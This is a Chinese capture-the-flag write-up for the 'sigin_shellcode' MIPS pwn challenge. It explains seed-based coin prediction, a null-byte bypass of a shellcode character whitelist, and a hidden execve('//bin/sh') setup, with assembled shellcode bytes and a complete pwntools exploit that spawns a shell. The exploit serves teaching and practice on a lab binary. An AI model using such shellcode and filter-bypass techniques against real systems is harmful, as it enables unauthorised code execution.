2023春秋杯春季赛 sigin_shellcode
分析
ida打开,程序的主干如下,就是一个下落的游戏,主要有三个功能:
- menu:进行选择,继续下落或者退出
- shopping:用金币购买道具,用于增加攻击力
- down:下落,其中有一个获取金币的函数,以及到达100层时进行决战的函数。
main
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
int v3; // $v0
init();
logo();
while ( 1 )
{
menu();
signal(14, (__sighandler_t)handler);
alarm(0x14u);
v3 = my_getinput(); // 获取输入:1,2,3
if ( v3 == 2 )
break;
if ( v3 == 3 )
{
puts("\n[*]Shopping Time!");
shopping();
}
else
{
if ( v3 != 1 ) // 输入是1的时候就继续下落
exit(0);
down();
}
}
puts("Disappointed!");
exit(0);
}
下落:down
主要来看看down里面的函数:
void down()
{
money = get_coin();
printf("\nYou have coins: %d\n", money);
printf("You are at %d floor\n", ++Floor_num);
if ( Floor_num == 100 )
{
puts("[*]You finally reached the 100th floor\n[*]Now you have to face to the big boss!");
battle();
}
}
获取金币:get_coin
srand(0x1BF52u);
coin = rand() % 114514 % (Floor_num + 1);
这里进行随机数生成的,随机数是多少,本层能够获取的金币就最多是多少,因为种子值是固定的,所以这些“随机值”是可以计算出来的。
用C程序生成这些伪随机数:
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
void calculate_coin(int floor_num) {
srand(0x1BF52u);
int coin = rand() % 114514 % (floor_num + 1);
printf("Floor_num = %d, Coin = %d\n", floor_num, coin);
// 将结果写入文件
FILE* fp = fopen("coin.txt", "a");
if(fp == NULL) {
printf("Error opening file!\n");
return;
}
fprintf(fp, "Floor_num = %d, Coin = %d\n", floor_num, coin);
fclose(fp);
FILE* fp1 = fopen("everycoin.txt", "a");
if(fp1 == NULL) {
printf("Error opening file!\n");
return;
}
fprintf(fp1, "%d,",coin);
fclose(fp1);
}
int main() {
for(int i=1; i<=100; i++) {
calculate_coin(i);
}
return 0;
}
后来看到别的大佬是在python调用libc库来生成这些随机数的
from ctypes import *
dll = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')
···
dll.srand(0x1BF52)
sendlineafter('How much do you want?\n', str(dll.rand() % 114514 % (Floor_num + 1)))
所以拿金币,买道具是没问题的了。
然后就是到了100层和boss battle了。
决斗:battle
首先是抛硬币,结果是1就是boss先手,这是必死的,如果是0就是自己先手,boss必死。
有二分之一的概率能赢,是多几次就行。
接着就是输入shellcode了:
···
puts("Shellcode > ");
memset(buf, 0, sizeof(buf));
read(0, buf, 0x10u);
func_ptr = (void (*)(...))buf;
for ( i = 0; ; ++i )
{
v1 = strlen(buf);
if ( i >= v1 )
break;
if ( !check(buf[i]) )
{
puts("[*]BOX: Forbidden!");
exit(0);
}
}
useful_tools();
func_ptr();
···
shellcode长度是16,然后shellcode会写入buf内存里。
shellcode检验:check
然后对shellcode进行check,
int __cdecl check(int string)
{
unsigned int i; // [sp+18h] [+18h]
for ( i = 0; i < strlen(white); ++i )
{
if ( string == white[i] )
return 1;
}
return 0;
}
white是白名单,是可见字符
.data:00412180 white: .ascii "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz012345678"
.data:00412180 # DATA XREF: check+30↑o
.data:00412180 # check+6C↑o
.data:00412180 .ascii "9!\"#$%&'()*+,-./:;<=>?@[\\]^_`{|}~"<0>
到后面就会执行这段shellcode(func_ptr()
)。
远程调试
远程端:利用qemu启动程序。
sudo chroot . ./qemu-mipsel-static -L . -g 4444 ./pwn
调试端:然后gdb-multiarch连接调试
gdb-multiarch pwn
target remote 127.0.0.1:4444
continue
远程端:在输入时按下ctrl+c就能打下断点,调试端就可以看到机器指令。
调试端:
用ni
指令进行逐步调试,然后通过set
命令来设置寄存器的值,比如使代表层数Floor_num
的寄存器的值为100,尽快进入battle函数里,然后同样用set
指令来设置对应寄存器的值,获取先手,打败boss(就是开挂!),最后来到useful_tools
函数里:
void useful_tools()
{
puts("Hacking...\n");
}
反编译的userful_tools
很简单,但是它的汇编代码却藏了私货:
.text:00400B80 addiu $sp, -0x20
.text:00400B84 sw $ra, 0x18+var_s4($sp)
.text:00400B88 sw $fp, 0x18+var_s0($sp)
.text:00400B8C move $fp, $sp
.text:00400B90 li $gp, 0x41A1E0
.text:00400B98 sw $gp, 0x18+var_8($sp)
.text:00400B9C lui $v0, 0x40 # '@'
.text:00400BA0 addiu $a0, $v0, (aHacking - 0x400000) # "Hacking...\n"
.text:00400BA4 la $v0, puts
.text:00400BA8 move $t9, $v0
.text:00400BAC jalr $t9 ; puts
.text:00400BB0 nop
.text:00400BB4 lw $gp, 0x18+var_8($fp)
.text:00400BB8 li $a0, 0x69622F2F
.text:00400BC0 li $a1, 0x68732F6E
.text:00400BC8 li $t0, 0
.text:00400BCC sw $a0, 0x18+var_20($sp)
.text:00400BD0 sw $a1, 0x18+var_1C($sp)
.text:00400BD4 sw $t0, 0x18+var_18($sp)
.text:00400BD8 addiu $a0, $sp, 0x18+var_20
.text:00400BDC li $t0, 0x24020FAB
.text:00400BE4 li $a1, 0xC
.text:00400BE8 sw $t0, 0x18+arg_30($sp)
.text:00400BEC sw $a1, 0x18+arg_34($sp)
.text:00400BF0 nop
.text:00400BF4 move $sp, $fp
.text:00400BF8 lw $ra, 0x18+var_s4($sp)
.text:00400BFC lw $fp, 0x18+var_s0($sp)
.text:00400C00 addiu $sp, 0x20
.text:00400C04 jr $ra
.text:00400C08 nop
从0x400bb8开始到0x400BD8,就是往a0写入字符串/bin/sh
.
2f 2f 62 69 6e 2f 73 68
就是//bin/sh
这个在调试的时候也能看到:
*A0 0x7ffff4c0 ◂— '//bin/sh'
A1 0x68732f6e ('n/sh')
A2 0x1
A3 0x0
然后进行调试,在执行func_ptr
时,可以看到那里早就写好了syscall <SYS_execve>
所以我们输入的shellcode其实就是从0x7ffff510开始覆盖。
一种方法是输入的shellcode修改a1,a2的值使其为0,同时要注意的是输入的要是可见字符
andi $a1,$t3,0x6160;
andi $a2,$t3,0x6160;
或者使用strlen来返回buf的长度的,因此可以用00截断,使得返回的长度小于等于i,进而不需要进行check,也就是说可以输入不可见字符了。
for ( i = 0; ; ++i )
{
v1 = strlen(buf);
if ( i >= v1 )
break;
if ( !check(buf[i]) )
{
puts("[*]BOX: Forbidden!");
exit(0);
}
}
用00截断
li $a1,0
li $a2,0
同样的,这个时候就可以借助00截断,完整的覆盖buf,而不需要考虑buf上有没有syscall
addiu $a1,$zero,0
addiu $a2,$zero,0
addiu $v0,$zero,4011
syscall 0x40404
查看上面指令的机器码
>>> from pwn import *
>>> context.binary = 'pwn'
[*] '/home/zsc/Documents/sigin_shellcode/pwn'
Arch: mips-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments
>>> sc = '''
... addiu $a1,$zero,0
... addiu $a2,$zero,0
... addiu $v0,$zero,4011
... syscall 0x40404
... '''
>>> print(asm(sc))
b'\x00\x00\x05$\x00\x00\x06$\xab\x0f\x02$\x0c\x01\x01\x01'
>>> print(len(asm(sc)))
16
>>> print(asm(sc))
b'\x00\x00\x05$\x00\x00\x06$\xab\x0f\x02$\x0c\x01\x01\x01'
>>> sc1 = '''
... andi $a1,$t3,0x6160;
... andi $a2,$t3,0x6160;
... '''
>>> print(len(asm(sc1)))
8
>>> print(asm(sc1))
b'`ae1`af1'
>>> sc2 = '''
... li $a1,0
... li $a2,0
... '''
>>> print(asm(sc2))
b'\x00\x00\x05$\x00\x00\x06$'
>>> print(len(asm(sc2)))
8
exp
everycoin.txt是前面C程序生成的伪随机数文件,在Ubuntu22虚拟机上运行。
from pwn import *
with open("everycoin.txt", "r") as f:
for line in f:
coinlist = line.strip().split(",")
# context(log_level='debug')
DEBUG = False
if DEBUG:
p = process(["./qemu-mipsel-static","-g", "4444", "-L","./","./pwn"])
else:
p = process(["./qemu-mipsel-static", "-L","./","./pwn"])
context.log_level = 'debug'
context.arch = "mips"
context.endian = "little"
# context.terminal = ["tmux","sp","-h"]
sum = 0
i=0
flag = 0
while i<100:
if sum < 2551:
if sum >= 200 and flag == 1:
p.sendlineafter('Go> ','3')
p.sendlineafter('> \n','2')
sum -= 200
continue
p.sendlineafter('Go> ','1')
p.sendlineafter('want?',coinlist[i])
sum += int(coinlist[i])
i+=1
else:
if flag == 0:
p.sendlineafter('Go> ','3')
p.sendlineafter('> \n','3')
sum -= 2551
flag = 1 #买了最高伤害的
p.recvuntil('Shellcode > \n')
shellcode="\x38\x00\xa5\x8f\x38\x00\xa6\x8f"
'''
lui $a1, 0xa500
lui $a2, 0xa600
'''
p.send(shellcode)
p.interactive()
总结
比赛的时候没做出来,没有注意到strlen可以00截断,也没有调试发现syscall(主要是还不熟练gdb调试),所以最后不知道输入怎样的shellcode。
感觉做这道题最大的收获就是学会了用gdb去调试程序,尤其是要熟练使用set指令和jump指令,其次是shellcode的编写,再就是strlen会被00截断的特性了,最后就是种子固定时rand生成的随机数也是伪随机、可计算的。
标签:...,0x18,text,sp,sigin,2023,x00,shellcode From: https://www.cnblogs.com/liulangbxc/p/17461698.html